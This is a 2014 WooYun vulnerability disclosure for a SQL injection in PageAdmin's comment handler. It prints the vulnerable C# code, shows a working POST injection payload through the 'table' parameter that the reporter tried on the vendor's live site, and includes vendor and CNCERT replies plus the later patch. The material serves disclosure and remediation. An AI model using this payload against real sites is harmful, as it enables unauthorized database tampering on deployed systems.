当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-057235

漏洞标题:pageadmin SQL注入漏洞

相关厂商:pageadmin.net

漏洞作者: Matt

提交时间:2014-04-16 17:17

修复时间:2014-07-15 17:17

公开时间:2014-07-15 17:17

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-04-16: 细节已通知厂商并且等待厂商处理中
2014-04-21: 厂商已经确认,细节仅向厂商公开
2014-04-24: 细节向第三方安全合作伙伴开放
2014-06-15: 细节向核心白帽子及相关领域专家公开
2014-06-25: 细节向普通白帽子公开
2014-07-05: 细节向实习白帽子公开
2014-07-15: 细节向公众公开

简要描述:

pageadmin SQL注入漏洞

详细说明:

大量政府,学校,企业等网站使用该程序

gov.png


/e/aspx/get_comment.aspx
protected void Page_Load(Object src,EventArgs e)
{
string sql;
OleDbCommand comm;
Conn theconn=new Conn();
if(Request.Form["post"]=="add")
{
IsMember=Request.Form["ismember"];
if(IsMember=="0")
{
Md5 JM=new Md5();
if(Session["YZM"]==null)
{
Response.Write("yzm error");
Response.End();
}
else if(Request.Form["code"]!=Session["YZM"].ToString())
{
Response.Write("yzm error");
Response.End();
}
}
Table=Request.Form["table"];//获取参数
DetailId=Request.Form["id"];
string UserName=Request.Form["username"];
string Password=Request.Form["code"];
string Quote=Request.Form["quote"];
string Content=Request.Form["content"];
string Checked=Request.Form["checked"];
Checked=Checked=="0"?"1":"0";
string SiteId=Request.Form["siteid"];
LoginUserName="";
IP=GetClientIP();
if(Content=="" || !IsNum(Checked) || !IsNum(DetailId) || !IsNum(SiteId) || !IsNum(IsMember))
{
Response.Write("input error");
Response.End();
}
else
{
Check_Post();
conn=new OleDbConnection(theconn.Constr());
conn.Open();
//处理内容
Get_Set(int.Parse(SiteId));
Check_TimeLimit(); //检查时间间隔;
if(Comment_MaxLength!=0 && Content.Length>Comment_MaxLength)//检查最大字符
{
conn.Close();
Response.Write("maxleng_limit,"+Comment_MaxLength);
Response.End();
}
Check_Forbid(Content); //检查禁止关键字
Content=Replace_String(Content); //替换
UserName=Replace_String(UserName); //替换
//处理内容
if(IsMember=="1")//检查用户,,只有是1才检测,这就跳过检测了
{
if(Request.Cookies["Member"]!=null)
{
Member_Valicate MCheck=new Member_Valicate();
MCheck.Member_Check();
UserName=MCheck._UserName;
}
else
{
Check_Member(UserName,Password); //检查用户名和密码
}
}
sql="insert into pa_comments(site_id,thetable,[detail_id],[username],[content],[quote],[checked],[ip],thedate,[ismember]) values("+int.Parse(SiteId)+",'"+Sql_Format(Table)+"',"+int.Parse(DetailId)+",'"+Sql_Format(UserName)+"','"+Sql_Format(Content)+"','"+Sql_Format(Quote)+"',"+int.Parse(Checked)+",'"+IP+"','"+DateTime.Now+"',"+int.Parse(IsMember)+")";
comm=new OleDbCommand(sql,conn);
comm.ExecuteNonQuery();
sql="update "+Table+" set comments=comments+1 where id="+DetailId;//table存在注入
comm=new OleDbCommand(sql,conn);
comm.ExecuteNonQuery();
Response.Write(Checked);
conn.Close();
Response.End();
}

漏洞证明:

测试方法
我就用官网测试了
http://www.pageadmin.net/e/aspx/get_comments.aspx
POST 提交post=add&table=pa_comments set ip=1 where 1=1 and 1=user--&id=1&siteid=1&ismember=12&checked=1&content=1即可

1.png

修复方案:

过滤~

版权声明:转载请注明来源 Matt@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2014-04-21 09:04

厂商回复:

参见所述评论情况,至17日,验证测试发现官网有报错信息不能工具注入,其它找到的实例手工注入和工具都没有成功。请白帽子进一步协助提供相关信息

最新状态:

暂无


漏洞评价:

评论

  1. 2014-04-18 09:50 | cncert国家互联网应急中心(乌云厂商)

    至17时,验证测试发现官网有报错信息不能工具注入,其它找到的实例手工注入和工具都没有成功。请白帽子进一步协助提供相关信息。@Matt

  2. 2014-04-24 09:32 | shack2 ( 普通白帽子 | Rank:470 漏洞数:71 | QQ:1341413415 一个热爱编程(Java),热爱网...)

    @cncert国家互联网应急中心 代码审计发现有order by 没过滤,只对sqlserver有影响

  3. 2014-07-15 20:14 | zhxs ( 实习白帽子 | Rank:32 漏洞数:19 | Jyhack-TeaM:http://bbs.jyhack.com/)

    前排围观..

  4. 2014-07-16 23:59 | 小秦 ( 路人 | Rank:9 漏洞数:4 )

    厂商在 ‎2014‎年‎4‎月‎25‎日, ‏‎15:37:16 的时候,把代码改了,对Table加上了 验证. if(Content=="" || !IsNum(Checked) || !IsNum(DetailId) || !IsNum(SiteId) || !IsNum(IsMember) || !IsStr(Table)) { Response.Write("input error"); Response.End(); }

  5. 2014-10-17 11:08 | PageAdmin(乌云厂商)

    最新版本已经修复了这个漏洞